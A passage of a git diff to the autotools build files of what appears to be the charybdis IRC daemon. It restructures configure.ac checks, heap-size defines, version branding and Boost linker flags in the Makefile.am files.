prefix=`echo $prefix | sed 's/\/$//'` - AC_DEFINE_UNQUOTED(RB_PREFIX, "$prefix", [Prefix where librb is installed.]) - -fi - -AC_SUBST(RB_PREFIX) - - -PKG_PROG_PKG_CONFIG -build_ltdl=$with_included_ltdl -AM_CONDITIONAL([BUILD_LTDL], [test x"$build_ltdl" = x"yes"]) - -case "$host_os" in -*cygwin*) - AC_DEFINE_UNQUOTED(CYGWIN,1,[This is a Cygwin system]) - AC_DEFINE_UNQUOTED(WINDOWS,1,[This is a Windows system]) - ;; -*mingw* | *msys*) - AC_DEFINE_UNQUOTED(MINGW,1,[This is a MinGW system]) - AC_DEFINE_UNQUOTED(WINDOWS,1,[This is a Windows system]) - AC_CHECK_HEADER(winsock2.h, , [AC_MSG_ERROR([** MinGW and no winsock2.h. I give up.])]) - LIBS="$LIBS -lws2_32 -liphlpapi" - is_mingw="yes" - ;; -*) - ;; -esac - -AM_CONDITIONAL([MINGW], [test "$is_mingw" = "yes"]) - -dnl check for /dev/null so we can use it to hold evil fd's -AC_MSG_CHECKING([for /dev/null]) -if test -c /dev/null ; then - AC_DEFINE(PATH_DEVNULL, "/dev/null", [Path to /dev/null]) - AC_MSG_RESULT(yes) -else - AC_DEFINE(PATH_DEVNULL, "devnull.log", [Path to /dev/null]) - AC_MSG_RESULT(no - using devnull.log) -fi - -AC_ARG_ENABLE([fhs-paths], - [AS_HELP_STRING([--enable-fhs-paths], [Use more FHS-like pathnames (for packagers).])], - [], - [dnl detect if the user appears to want --enable-fhs-paths - AS_IF([test "$libexecdir" = '${exec_prefix}/libexec' && \ - test "$localstatedir" = '${prefix}/var' && \ - test "$libdir" = '${exec_prefix}/lib'], - [enable_fhs_paths=no], - [enable_fhs_paths=yes]) - ]) -dnl use directory structure of cached as default (hack) -AS_IF([test "x$enable_fhs_paths" = "xyes"], - [dnl Avoid name collisions. - pkglibexecdir='${libexecdir}/${PACKAGE_TARNAME}' - rundir=${rundir-'${prefix}/run'} - pkgrundir='${rundir}/${PACKAGE_TARNAME}' - pkglocalstatedir='${localstatedir}/${PACKAGE_TARNAME}' - AC_DEFINE([ENABLE_FHS_PATHS], [1], [Uncomment if FHS pathnames are enabled])], - [libexecdir='${bindir}' - pkglibexecdir='${libexecdir}' - rundir='${sysconfdir}' - pkgrundir='${rundir}' - localstatedir='${prefix}' - pkglocalstatedir='${sysconfdir}']) -pkglibdir='${libdir}/${PACKAGE_TARNAME}' -AC_SUBST([pkglibdir]) -AC_SUBST([rundir]) -AC_SUBST([pkgrundir]) -AC_SUBST([pkglocalstatedir]) -AC_DEFINE_DIR([PKGLOCALSTATEDIR], [pkglocalstatedir], [[Directory in which to store state, such as ban database]]) -AC_SUBST([pkglibexecdir]) -AC_DEFINE_DIR([PKGLIBEXECDIR], [pkglibexecdir], [Directory where binaries the IRCd itself spawns live]) - -dnl Checks for header files. -AC_HEADER_STDC -AC_HEADER_STDBOOL - -AC_CHECK_HEADERS([crypt.h sys/resource.h sys/param.h errno.h sys/syslog.h stddef.h sys/wait.h wait.h sys/epoll.h sys/uio.h machine/endian.h]) - -dnl Stuff that the memory manager (imalloc) depends on -dnl ================================================== - -AC_C_CONST -if test "$ac_cv_header_machine_endian_h" = "no" ; then - AC_C_BIGENDIAN -fi -AC_TYPE_PID_T -AC_TYPE_SIZE_T -AC_CHECK_SIZEOF(short) -AC_CHECK_SIZEOF(int) -AC_CHECK_SIZEOF(long) -AC_CHECK_SIZEOF(long long) - -dnl Networking Functions -dnl ==================== - -AC_SEARCH_LIBS(socket, [socket ws2_32], , [AC_MSG_ERROR([You have no socket()! Aborting.])]) - -dnl SunOS/Solaris required libnsl for inet_ntoa() -if test x"$SUN" = xyes; then - AC_SEARCH_LIBS(inet_ntoa, nsl,, [AC_MSG_ERROR([libnsl not found! Aborting.])]) -fi - -AC_SEARCH_LIBS(crypt, [crypt descrypt],,) - -CRYPT_LIB=$ac_cv_search_crypt - -if test "$CRYPT_LIB" = "none required"; then - unset CRYPT_LIB -elif test "$CRYPT_LIB" = no; then - unset CRYPT_LIB -fi - -AC_SUBST(CRYPT_LIB) - -AC_C_BIGENDIAN - -dnl Check for stdarg.h - if we can't find it, halt configure -AC_CHECK_HEADER(stdarg.h, , [AC_MSG_ERROR([** stdarg.h could not be found - charybdis will not compile without it **])]) -AC_CHECK_FUNCS([strlcat strlcpy]) - -AC_TYPE_INT16_T -AC_TYPE_INT32_T - -AC_CHECK_TYPE([sa_family_t], [], -[AC_DEFINE(sa_family_t, [u_int16_t], [If system does not define sa_family_t, define it here.])], -[[#include -#include ]]) - -AC_CHECK_TYPES([uintptr_t]) - -dnl check for various functions... -AC_CHECK_FUNCS([snprintf vsnprintf socketpair mmap gettimeofday strdup strndup ]) - -AC_FUNC_ALLOCA - -dnl Specialized functions checks -dnl ============================ - -dnl check for nanosleep -AC_CHECK_FUNC(nanosleep,,[AC_CHECK_LIB(rt,nanosleep, - LIBS="${LIBS} -lrt", - [AC_CHECK_LIB(posix4,nanosleep, LIBS="${LIBS} -lposix4" - )])]) -if test x$ac_cv_func_nanosleep = xno && test x$ac_cv_lib_posix4_nanosleep = xno && test x$ac_cv_lib_rt_nanosleep = xno -then - AC_MSG_RESULT("nanosleep not found..using select for delay") -else - AC_DEFINE([HAVE_NANOSLEEP], 1, [Define if nanosleep exists]) -fi - -dnl OpenSSL support -AC_MSG_CHECKING(for OpenSSL) -AC_ARG_ENABLE(openssl, -[AC_HELP_STRING([--enable-openssl[=DIR]],[Enable OpenSSL support (DIR optional).]) -AC_HELP_STRING([--disable-openssl],[Disable OpenSSL support.])], -[cf_enable_openssl=$enableval], -[cf_enable_openssl="auto"]) - -if test "$cf_enable_openssl" != "no" ; then - cf_openssl_basedir="" - if test "$cf_enable_openssl" != "auto" && - test "$cf_enable_openssl" != "yes" ; then - dnl Support for --enable-openssl=/some/place - cf_openssl_basedir="`echo ${cf_enable_openssl} | sed 's/\/$//'`" - else - dnl Do the auto-probe here. Check some common directory paths. - for dirs in /usr/local/ssl /usr/pkg /usr/local \ - /usr/local/openssl ; do - if test -f "${dirs}/include/openssl/opensslv.h" ; then - cf_openssl_basedir="${dirs}" - break - fi - done - unset dirs - fi - dnl Now check cf_openssl_found to see if we found anything. - if test ! -z "$cf_openssl_basedir"; then - if test -f "${cf_openssl_basedir}/include/openssl/opensslv.h" ; then - SSL_INCLUDES="-I${cf_openssl_basedir}/include" - SSL_LIBS="-L${cf_openssl_basedir}/lib" - else - dnl OpenSSL wasn't found in the directory specified. Naughty - dnl administrator... - cf_openssl_basedir="" - fi - else - dnl Check for stock FreeBSD 4.x and 5.x systems, since their files - dnl are in /usr/include and /usr/lib. In this case, we don't want to - dnl change INCLUDES or LIBS, but still want to enable OpenSSL. - dnl We can't do this check above, because some people want two versions - dnl of OpenSSL installed (stock FreeBSD 4.x/5.x and /usr/local/ssl) - dnl and they want /usr/local/ssl to have preference. - if test -f "/usr/include/openssl/opensslv.h" ; then - cf_openssl_basedir="/usr" - fi - fi - - dnl If we have a basedir defined, then everything is okay. Otherwise, - dnl we have a problem. - if test ! -z "$cf_openssl_basedir"; then - AC_MSG_RESULT($cf_openssl_basedir) - cf_enable_openssl="yes" - else - AC_MSG_RESULT([not found. Specify a correct path?]) - cf_enable_openssl="no" - fi - unset cf_openssl_basedir -else - dnl If --disable-openssl was specified - AC_MSG_RESULT(disabled) -fi - -save_CPPFLAGS="$CPPFLAGS" -CPPFLAGS="$CPPFLAGS $SSL_INCLUDES" -save_LIBS="$LIBS" -LIBS="$LIBS $SSL_LIBS" -if test "$cf_enable_openssl" != no; then - dnl Check OpenSSL version (must be 0.9.6 or above!) - AC_MSG_CHECKING(for OpenSSL 0.9.6 or above) - AC_RUN_IFELSE( - [AC_LANG_PROGRAM( - [#include - #include ], - [[if ( OPENSSL_VERSION_NUMBER >= 0x00906000) - exit(0); else exit(1);]])], - cf_openssl_version_ok=yes, - cf_openssl_version_ok=no, - cf_openssl_version_ok=no) - - if test "$cf_openssl_version_ok" = yes; then - AC_MSG_RESULT(found) - - dnl Work around pmake/gmake conditional incompatibilities - AC_SUBST(ENCSPEED, encspeed) - - dnl Do all the HAVE_LIBCRYPTO magic -- and check for ciphers - CPPFLAGS="$CPPFLAGS $SSL_LIBS" - AC_CHECK_LIB(crypto, RSA_free) - SSL_LIBS="$SSL_LIBS -lcrypto" - SSL_SRCS_ENABLE='$(SSL_SRCS)' - else - AC_MSG_RESULT(no - OpenSSL support disabled) - fi -fi - -CPPFLAGS="$save_CPPFLAGS" -LIBS="$save_LIBS" - -dnl End OpenSSL detection - - -dnl Specialized functions and libraries -dnl =================================== +dnl +dnl zlib support +dnl AC_ARG_WITH(zlib-path, AC_HELP_STRING([--with-zlib-path=DIR],[Path to libz.so for ziplinks support.]), @@ -950,8 +1044,12 @@ AC_CHECK_HEADER(zlib.h, [ fi -dnl Check for shared sqlite -dnl ====================== + + +dnl +dnl sqlite support +dnl + AC_ARG_WITH(shared-sqlite, AC_HELP_STRING([--with-shared-sqlite],[Use shared sqlite]), [shared_sqlite=$withval],[shared_sqlite=no]) @@ -967,158 +1065,47 @@ if test "$shared_sqlite" = no; then SQLITE_OBJ='sqlite3.$(OBJEXT)' fi -AC_SUBST(SQLITE_LD, "$SQLITE_LIBS") -AC_SUBST(SQLITE_INCLUDES, "$SQLITE_CFLAGS") +AC_SUBST(SQLITE_CFLAGS, "$SQLITE_CFLAGS") +AC_SUBST(SQLITE_LDFLAGS, "$SQLITE_LDFLAGS") +AC_SUBST(SQLITE_LIBS, "$SQLITE_LIBS") AC_SUBST(SQLITE_OBJ) -dnl Check for PCRE2 -dnl =============== + + +dnl +dnl PCRE2 support +dnl PKG_CHECK_MODULES(PCRE, [libpcre2-8], [have_pcre="yes"], [have_pcre="no"]) AM_CONDITIONAL([PCRE], [test "x$have_pcre" = "xyes"]) -dnl ********************************************************************** -dnl Check for --with-confdir [deprecated, use --sysconfdir instead] -dnl ********************************************************************** - -AC_ARG_WITH([confdir], - [AC_HELP_STRING([--with-confdir=DIR], - [Directory to install config files [deprecated, use --sysconfdir instead].])], - [ sysconfdir=`echo $withval | sed 's/\/$//'` ], - [ confdir='etc' ]) -RB_DEFINE_UNQUOTED([ETC_DIR], ["${prefix}/${confdir}"], [Prefix where config files are installed.]) - -dnl ********************************************************************** -dnl Check for --with-bindir -dnl ********************************************************************** - -AC_MSG_CHECKING([whether to modify binary directory]) -AC_ARG_WITH(bindir, -AC_HELP_STRING([--with-bindir=DIR], - [Directory where binary executables are placed.]), - [ logdir=`echo $withval | sed 's/\/$//'` - AC_MSG_RESULT(yes)], - [ AS_IF([test "x$enable_fhs_paths" = "xyes"], - [bindir="${prefix}/bin"], - [bindir="${prefix}/bin"]) - AC_MSG_RESULT(no)]) -RB_DEFINE_UNQUOTED([BIN_DIR], ["${bindir}"], [Directory where binary executables are to be found.]) -AC_SUBST_DIR([bindir]) -dnl ********************************************************************** -dnl Check for --with-logdir -dnl ********************************************************************** +dnl *************************************************************************** +dnl Application settings +dnl -AC_MSG_CHECKING([whether to modify logdir]) -AC_ARG_WITH(logdir, -AC_HELP_STRING([--with-logdir=DIR], - [Directory where to write logfiles.]), - [ logdir=`echo $withval | sed 's/\/$//'` - AC_MSG_RESULT(yes)], - [ AS_IF([test "x$enable_fhs_paths" = "xyes"], - [logdir="${prefix}/var/log"], - [logdir="${prefix}/var/${PACKAGE_TARNAME}/log"]) - AC_MSG_RESULT(no)]) -RB_DEFINE_UNQUOTED([LOG_DIR], ["${logdir}"], [Prefix where to write logfiles.]) -AC_SUBST_DIR([logdir]) +AC_DEFINE([NICKNAMEHISTORYLENGTH], 15000, [Size of the WHOWAS array.]) +AC_DEFINE([CHANNEL_HEAP_SIZE], 8192, [Size of the channel heap.]) +AC_DEFINE([BAN_HEAP_SIZE], 4096, [Size of the ban heap.]) +AC_DEFINE([CLIENT_HEAP_SIZE], 8192, [Size of the client heap.]) +AC_DEFINE([LCLIENT_HEAP_SIZE], 1024, [Size of the local client heap.]) +AC_DEFINE([PCLIENT_HEAP_SIZE], 256, [Size of the pre-client heap.]) +AC_DEFINE([USER_HEAP_SIZE], 8192, [Size of the user heap.]) +AC_DEFINE([DNODE_HEAP_SIZE], 8192, [Size of the dlink_node heap.]) +AC_DEFINE([TOPIC_HEAP_SIZE], 4096, [Size of the topic heap.]) +AC_DEFINE([LINEBUF_HEAP_SIZE], 2048, [Size of the linebuf heap.]) +AC_DEFINE([MEMBER_HEAP_SIZE], 32768, [Sizeof member heap.]) +AC_DEFINE([ND_HEAP_SIZE], 512, [Size of the nick delay heap.]) +AC_DEFINE([CONFITEM_HEAP_SIZE], 256, [Size of the confitem heap.]) +AC_DEFINE([MONITOR_HEAP_SIZE], 1024, [Size of the monitor heap.]) +AC_DEFINE([FD_HEAP_SIZE], 1024, [Size of fd heap.]) +AC_DEFINE([AWAY_HEAP_SIZE], 512, [Size of away heap.]) -dnl ********************************************************************** -dnl Check for --with-helpdir -dnl ********************************************************************** -AC_MSG_CHECKING([whether to modify helpdir]) -AC_ARG_WITH(helpdir, -AC_HELP_STRING([--with-helpdir=DIR], - [Directory to install help files.]), - [ helpdir=`echo $withval | sed 's/\/$//'` - AC_MSG_RESULT(yes) ], - [ AS_IF([test "x$enable_fhs_paths" = "xyes"], - [helpdir="${prefix}/share/help"], - [helpdir="${prefix}/share/${PACKAGE_TARNAME}/help"]) - AC_MSG_RESULT(no) ]) -RB_DEFINE_UNQUOTED([HELP_DIR], ["${helpdir}"], [Prefix where help files are installed.]) -AC_SUBST_DIR([helpdir]) - -dnl ********************************************************************** -dnl Check for --with-moduledir -dnl ********************************************************************** - -AC_MSG_CHECKING([whether to modify moduledir]) -AC_ARG_WITH(moduledir, - [AC_HELP_STRING([--with-moduledir=DIR], - [Directory to install modules.])], - [ moduledir=`echo $withval | sed 's/\/$//'` - AC_MSG_RESULT(yes)], - [ AS_IF([test "x$enable_fhs_paths" = "xyes"], - [moduledir="${prefix}/lib/modules"], - [moduledir="${prefix}/lib/${PACKAGE_TARNAME}/modules"]) - AC_MSG_RESULT(no) - ]) -RB_DEFINE_UNQUOTED([MODULE_DIR], ["${moduledir}"], [Prefix where modules are installed.]) -AC_SUBST_DIR([moduledir]) - -dnl Check for --with-rundir - -AC_MSG_CHECKING([whether or modify rundir]) -AC_ARG_WITH([rundir], - [AC_HELP_STRING([--with-rundir=DIR], - [Directory in which to store pidfile.])], - [AC_MSG_RESULT([yes]) - rundir=`echo $withval | sed 's/\/$//'`], - [AC_MSG_RESULT([no]) - AS_IF([test "x$enable_fhs_paths" = "xyes"], - [rundir="${prefix}/var/run"], - [rundir="${prefix}/${PACKAGE_TARNAME}/run"])]) -AC_SUBST([rundir]) -AC_DEFINE_DIR([PKGRUNDIR], ["${rundir}"], [Directory to store pidfile in.]) - -dnl Installed utility program prefixes (does not affect binaries -dnl installed into pkglibexecdir) -AC_MSG_CHECKING([for program prefix]) -AC_ARG_WITH([program-prefix], - [AS_HELP_STRING([--with-program-prefix=], [If set, programs installed into PATH will be installed with names prefixed by this prefix.])], - [test "x$with_program_prefix" = "xno" && with_program_prefix=], - [with_program_prefix=]) -AC_MSG_RESULT(["$with_program_prefix"]) -PROGRAM_PREFIX="$with_program_prefix" -AC_SUBST([PROGRAM_PREFIX]) -AC_DEFINE_UNQUOTED([PROGRAM_PREFIX], ["$with_program_prefix"], [String with which all programs intended to be in PATH are prefixed.]) - -dnl ********************************************************************** -dnl Branding -dnl ********************************************************************** - -AC_MSG_CHECKING([whether custom branding is requested]) -AC_ARG_WITH(custom-branding, -AC_HELP_STRING([--with-custom-branding=NAME], - [Custom branding name.]), - [BRANDING_NAME=$withval - AC_MSG_RESULT([yes])], - [BRANDING_NAME=$PACKAGE_NAME - AC_MSG_RESULT([no])] -) - -AC_MSG_CHECKING([whether a custom version is requested]) -AC_ARG_WITH(custom-version, -AC_HELP_STRING([--with-custom-version=NAME], - [Custom version branding.]), - [BRANDING_VERSION=$withval - AC_MSG_RESULT([yes])], - [BRANDING_VERSION=$PACKAGE_VERSION - AC_MSG_RESULT([no])] -) - -AC_DEFINE_UNQUOTED(BRANDING_NAME, ["$BRANDING_NAME"], [Custom branding name.]) -AC_DEFINE_UNQUOTED(BRANDING_VERSION, ["$BRANDING_VERSION"], [Custom branding name.]) - -if test "x$BRANDING_NAME" != "x$PACKAGE_NAME"; then - AC_DEFINE(CUSTOM_BRANDING, 1, [Define if custom branding is enabled.]) -fi - -dnl ********************************************************************** -dnl Enable oper chghost -dnl ********************************************************************** +dnl +dnl --enable-oper-chghost +dnl AC_ARG_ENABLE(oper-chghost, AC_HELP_STRING([--enable-oper-chghost],[Enable opers to use the CHGHOST command]), @@ -1128,38 +1115,10 @@ if test "$operchghost" = yes; then AC_DEFINE(ENABLE_OPER_CHGHOST, 1, [Define this to enable opers to use the CHGHOST command.]) fi -dnl Debug-related options -dnl ===================== -AC_ARG_ENABLE(assert, -AC_HELP_STRING([--enable-assert],[Enable assert(). Choose between soft(warnings) and hard(aborts the daemon)]), -[assert=$enableval], [assert=no]) - -if test "$assert" = no; then - AC_DEFINE(NDEBUG, 1, [Define this to disable debugging support.]) -elif test "$assert" = soft; then - AC_DEFINE(SOFT_ASSERT, 1, [Define this to enable soft asserts.]) - AC_DEFINE(NDEBUG, 1, [Define this to disable debugging support.]) -elif test "$assert" = yes; then - assert = "hard"; -fi - -AC_MSG_CHECKING(if you want to do a profile build) -AC_ARG_ENABLE(profile, -AC_HELP_STRING([--enable-profile],[Enable profiling]), -[profile=$enableval], [profile=no]) - -if test "$profile" = yes; then - if test "$ac_cv_c_compiler_gnu" = yes; then - CPPFLAGS="$CPPFLAGS -pg" - AC_MSG_RESULT([yes, adding -pg]) - AC_DEFINE(CHARYBDIS_PROFILE, 1, [Define this if you are profiling.]) - else - AC_MSG_RESULT([no, profile builds only work with gcc]) - fi -else - AC_MSG_RESULT(no) -fi +dnl +dnl --with-nicklen +dnl AC_ARG_WITH(nicklen, AC_HELP_STRING([--with-nicklen=LENGTH],[Set the upper-bound nick length to LENGTH (default 31, max 50)]), @@ -1178,6 +1137,13 @@ AC_HELP_STRING([--with-nicklen=LENGTH],[Set the upper-bound nick length to LENGT fi ], [NICKLEN=31]) +AC_DEFINE_UNQUOTED(NICKLEN, (${NICKLEN}+1), [Nickname length]) + + +dnl +dnl --with-topiclen +dnl + AC_ARG_WITH(topiclen, AC_HELP_STRING([--with-topiclen=NUMBER],[Set the max topic length to NUMBER (default 390, max 390)]), [ @@ -1190,95 +1156,101 @@ AC_HELP_STRING([--with-topiclen=NUMBER],[Set the max topic length to NUMBER (def ], [TOPICLEN=390]) AC_DEFINE_UNQUOTED(TOPICLEN, ${TOPICLEN}, [Maximum topic length (<=390)]) -AC_DEFINE_UNQUOTED(NICKLEN, (${NICKLEN}+1), [Nickname length]) -# rpath, for finding librb.so at run time -hold_ldflags=$LDFLAGS -#AC_MSG_CHECKING(for the ld -rpath flag) -#LDFLAGS="${LDFLAGS} -Wl,-rpath=${prefix}/${libdir}" -#AC_LINK_IFELSE([AC_LANG_PROGRAM([],[int i;])], found=yes, found=no) -#LDFLAGS=$hold_ldflags -#AC_MSG_RESULT($found) -#if test "$found" = yes; then -# LDFLAGS="${LDFLAGS} -Wl,-rpath=${prefix}/${libdir}" -#fi -# This must be down here, or it will mess up checks like the ones -# for -Wl,-export-dynamic -# -- jilles -CWARNS="" -AC_ARG_ENABLE(warnings, -AC_HELP_STRING([--enable-warnings],[Enable all sorts of warnings for debugging.]), + +dnl *************************************************************************** +dnl Branding defined in the compilation +dnl + +VERSION_CMD="git describe --tags" +RB_VERSION=`$VERSION_CMD` +RB_DEFINE_UNQUOTED([VERSION], ["$RB_VERSION"], [Version generated at configuration time.]) + +DATESTR_CMD="date -R" +RB_DATESTR=`$DATESTR_CMD` +RB_DEFINE_UNQUOTED([DATESTR], ["$RB_DATESTR"], [Readable date string of configuration time.]) + +DATECODE_CMD="date +%s" +RB_DATECODE=`$DATECODE_CMD` +RB_DEFINE_UNQUOTED([DATECODE], [$RB_DATECODE], [UNIX epoch time at configuration time.]) + + +dnl +dnl --with-custom-branding +dnl + +AC_MSG_CHECKING([whether custom branding is requested]) +AC_ARG_WITH(custom-branding, AC_HELP_STRING([--with-custom-branding=NAME], [Custom branding name.]), [ -CHARYBDIS_C_GCC_TRY_FLAGS([-Wall], charybdis_cv_c_gcc_w_all) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wextra], charybdis_cv_c_gcc_w_extra) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wpointer-arith], charybdis_cv_c_gcc_w_pointer_arith) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wcast-align], charybdis_cv_c_gcc_w_cast_align) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wcast-qual], charybdis_cv_c_gcc_w_cast_qual) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wfloat-equal], charybdis_cv_c_gcc_w_float_equal) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wwrite-strings], charybdis_cv_c_gcc_w_write_strings) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wmissing-declarations], charybdis_cv_c_gcc_w_prototypes) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wno-missing-field-initializers], charybdis_cv_c_gcc_w_missing_field_initializers) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wparentheses], charybdis_cv_c_gcc_parentheses) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wmissing-noreturn], charybdis_cv_c_gcc_w_missing_noreturn) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wundef], charybdis_cv_c_gcc_w_undef) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wpacked], charybdis_cv_c_gcc_w_packed) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wno-unused -Wno-unused-function -Wno-unused-label -Wno-unused-value -Wno-unused-variable -Wno-unused-parameter], charybdis_cv_c_gcc_w_unused) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wformat -Wformat-y2k -Wformat-security -Wformat-nonliteral], charybdis_cv_c_gcc_w_format) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wsuggest-attribute=format], charybdis_cv_c_gcc_w_suggest_attribute_format) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wstrict-aliasing -Wstrict-overflow], charybdis_cv_c_gcc_w_strict) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wdisabled-optimization], charybdis_cv_c_gcc_w_disabled_optimization) -CHARYBDIS_C_GCC_TRY_FLAGS([-Winvalid-pch], charybdis_cv_c_gcc_w_invalid_pch) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wlogical-op], charybdis_cv_c_gcc_w_logical_op) -CHARYBDIS_C_GCC_TRY_FLAGS([-Winit-self], charybdis_cv_c_gcc_w_init_self) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wuninitialized], charybdis_cv_c_gcc_w_uninitialized) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wunreachable-code], charybdis_cv_c_gcc_w_unreachable_code) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wno-unknown-warning -Wno-unknown-warning-option], charybdis_cv_c_gcc_w_unknown_warning) -],[]) + AC_DEFINE_UNQUOTED(BRANDING_NAME, ["$withval"], [Custom branding name.]) + AC_DEFINE(CUSTOM_BRANDING, 1, [Define if custom branding is enabled.]) + AC_MSG_RESULT([yes]) +],[ + AC_DEFINE_UNQUOTED(BRANDING_NAME, ["$PACKAGE_NAME"], [Current package]) + AC_MSG_RESULT([no]) +]) + + +dnl +dnl --with-custom-version +dnl + +AC_MSG_CHECKING([whether a custom version is requested]) +AC_ARG_WITH(custom-version, AC_HELP_STRING([--with-custom-version=NAME], [Custom version branding.]), +[ + AC_DEFINE_UNQUOTED(BRANDING_VERSION, ["$withval"], [Custom branding version.]) + AC_MSG_RESULT([yes]) +], [ + AC_DEFINE_UNQUOTED(BRANDING_VERSION, ["$RB_VERSION"], [Current version]) + AC_MSG_RESULT([no]) +]) + + + +dnl *************************************************************************** +dnl Misc +dnl -CPPFLAGS="$CPPFLAGS $CWARNS" AC_SUBST(MODULES_LIBS) AC_SUBST(MOD_TARGET) - -AC_SUBST(SSL_SRCS_ENABLE) -AC_SUBST(SSL_INCLUDES) -AC_SUBST(SSL_LIBS) - -AC_SUBST(CFLAGS) -AC_SUBST(CPPFLAGS) -AC_SUBST(LDFLAGS) AC_SUBST(PICFLAGS) AC_SUBST(SEDOBJ) +AC_SUBST(CFLAGS) -if test "$prefix" = "NONE"; then - AC_DEFINE_UNQUOTED(IRCD_PREFIX, "$ac_default_prefix", [Prefix where the ircd is installed.]) - -else - -dnl Don't get bitten by Cygwin's stupidity if the user specified -dnl a custom prefix with a trailing slash - - prefix=`echo $prefix | sed 's/\/$//'` - AC_DEFINE_UNQUOTED(IRCD_PREFIX, "$prefix", [Prefix where the ircd is installed.]) - -fi - AC_CONFIG_COMMANDS([tools/genssl_chmod], [chmod 755 tools/genssl]) + + +dnl *************************************************************************** +dnl Output +dnl + + AC_OUTPUT + + +if [[ $DEBUG ]]; then + debug="yes" +else + debug="no" +fi + dnl Make it look sexay! - echo -echo "Compiling $PACKAGE_NAME $PACKAGE_VERSION" -echo $RB_VERSION -echo $RB_DATESTR -echo - -echo "Installing into: $prefix" - -echo "IPv6 support ................... $ipv6" -echo "Assert debugging ............... $assert" -echo "SSL Type........................ $SSL_TYPE" +echo "Configured ........................ $PACKAGE_NAME $PACKAGE_VERSION" +echo "Version ........................... $RB_VERSION" +echo "Configuration time ................ $RB_DATESTR" +echo "Compiler .......................... $CXX" +echo "Compiler flags (CXXFLAGS) ......... $CXXFLAGS" +echo "Building boost .................... $with_included_boost" +echo "Building libltdl .................. $with_included_ltdl" +echo "Developer debug ................... $debug" +echo "IPv6 support ...................... $ipv6" +echo "SSL type........................... $SSL_TYPE" +echo "Installing into ................... $prefix" echo +echo "* Ready to build $PACKAGE_NAME" +echo "* Now run 'make'" diff --git a/extensions/Makefile.am b/extensions/Makefile.am index c16debaa0..562cb5865 100644 --- a/extensions/Makefile.am +++ b/extensions/Makefile.am @@ -1,14 +1,30 @@ -AM_CPPFLAGS = -I$(top_srcdir)/include $(LTDLINCL) -AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include -AM_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined -shared -AM_LDFLAGS += -export-symbols-regex _mheader -AM_LDFLAGS += -L$(top_srcdir)/boost/lib -lboost_system -AM_LDFLAGS += -L$(top_srcdir)/ircd -lircd -AM_LDFLAGS += -L$(top_srcdir)/rb -lrb - - extensiondir=@moduledir@/extensions +AM_CPPFLAGS = \ + -I$(top_srcdir)/include \ + $(LTDLINCL) \ + @BOOST_CPPFLAGS@ + +AM_LDFLAGS = \ + -L$(top_srcdir)/ircd \ + -L$(top_srcdir)/rb \ + @BOOST_LDFLAGS@ + +AM_LDFLAGS += \ + -module \ + -export-dynamic \ + -avoid-version \ + -no-undefined \ + -shared \ + -export-symbols-regex _mheader + +AM_LDFLAGS += \ + -lircd \ + -lrb \ + @LIBLTDL@ \ + @BOOST_LIBS@ + + chm_adminonly_la_SOURCES = chm_adminonly.cc chm_operonly_la_SOURCES = chm_operonly.cc chm_operonly_compat_la_SOURCES = chm_operonly_compat.cc diff --git a/include/rb/Makefile.am b/include/rb/Makefile.am index 2343a5990..d84b0a826 100644 --- a/include/rb/Makefile.am +++ b/include/rb/Makefile.am @@ -1,12 +1,12 @@ AUTOMAKE_OPTIONS = foreign -AM_CPPFLAGS = -isystem $(top_srcdir)/boost/include -AM_LDFLAGS = -L$(top_srcdir)/boost/lib +AM_CPPFLAGS = @BOOST_CPPFLAGS@ +AM_LDFLAGS = @BOOST_LDFLAGS@ BUILT_SOURCES = rb.h.gch rb.h.gch: - $(CXX) -o rb.h.gch $(CPPFLAGS) rb.h + $(CXX) $(CXXFLAGS) -o rb.h.gch $(DEFS) $(CPPFLAGS) rb.h clean-local: rm -f rb.h.gch diff --git a/ircd/Makefile.am b/ircd/Makefile.am index 95fc7c4e3..60addb8ba 100644 --- a/ircd/Makefile.am +++ b/ircd/Makefile.am @@ -1,23 +1,39 @@ AUTOMAKE_OPTIONS = foreign + libircddir = @libdir@ -AM_CPPFLAGS = @LTDLINCL@ -AM_CPPFLAGS += -I$(top_srcdir)/include -AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include - -AM_LDFLAGS = -export-dynamic -avoid-version -no-undefined -AM_LDFLAGS += -L$(top_srcdir)/rb -AM_LDFLAGS += -L$(top_srcdir)/boost/lib - AM_YFLAGS = -d # --language=c++ AM_LFLAGS = # --c++ +AM_CPPFLAGS = \ + -I$(top_srcdir)/include \ + @LTDLINCL@ \ + @BOOST_CPPFLAGS@ + if MINGW -EXTRA_FLAGS = -Wl,--enable-runtime-pseudo-reloc -export-symbols-regex '*' +PLATFORM_LDFLAGS = -Wl,--enable-runtime-pseudo-reloc -export-symbols-regex '*' endif +AM_LDFLAGS = \ + -export-dynamic \ + -avoid-version \ + -no-undefined \ + $(PLATFORM_LDFLAGS) + +AM_LDFLAGS += \ + -L$(top_srcdir)/rb \ + @BOOST_LDFLAGS@ + BUILT_SOURCES = ircd_parser.h + +libircd_LTLIBRARIES = libircd.la + +libircd_la_LIBADD = \ + -lrb \ + @LIBLTDL@ \ + @BOOST_LIBS@ + libircd_la_SOURCES = \ authproc.cc \ bandbi.cc \ @@ -65,10 +81,7 @@ libircd_la_SOURCES = \ version.cc \ whowas.cc \ wsproc.cc -libircd_la_LDFLAGS = $(EXTRA_FLAGS) -avoid-version -no-undefined -libircd_la_LIBADD = @LIBLTDL@ -libircd_LTLIBRARIES = libircd.la install-data-local: 